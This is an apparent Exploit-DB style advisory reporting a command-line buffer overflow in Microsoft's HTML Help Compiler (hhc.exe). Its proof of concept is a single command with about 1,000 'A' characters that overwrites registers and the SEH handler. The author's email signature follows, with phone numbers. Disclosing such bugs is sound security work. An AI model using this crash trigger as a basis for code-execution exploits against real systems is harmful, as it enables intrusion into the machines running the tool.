#Title:  Microsoft HTML Help Compiler (hhc.exe) BOF POC
#EDB-ID:
#CVE-ID: ()
#OSVDB-ID: ()
#Author:  s4squatch
#Published: 2010-01-06
#Verified:
#Download Exploit Code: N/A
#Download:  http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en

Microsoft’s HTML Help Compiler (hhc.exe) is free tool to build Microsoft Compiled HTML Help (.chm) files.  It is included within HTML Help Workshop and Visual Studio. The executable, hhc.exe, does not properly check the length of user-supplied command line arguments.  It is possible to gain control of EDX, EBP, and ESI registers as well as perform an SEH overwrite.

With this, it should be possible to execute arbitrary code in the context of the application.  For this reason, Microsoft has logged this as a bug, not a security issue or vulnerability since calling it with command line arguments will not give you elevated privileges that the calling entity did not already have.
hhc.exe version 4.74.8702.0 (EDX, EBP, ESI, SEH overwritten when called with 1,000 A’s)

Proof of Concept:

c:\> hhc.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Thanks,

Scott White
Senior Penetration Tester
office:    623-321-2660 x218
mobile:  480.440.7595
fax:         216.927.0119
www.securestate.com<http://www.securestate.com>
http://securestate.blogspot.com
[cid:image001.gif@01CA8EC0.06B0DE40]
SecureState is pleased to be included on the INC. Magazine list of America’s fastest growing companies<https://www.securestate.com/Pages/PressReleas_0812.aspx>...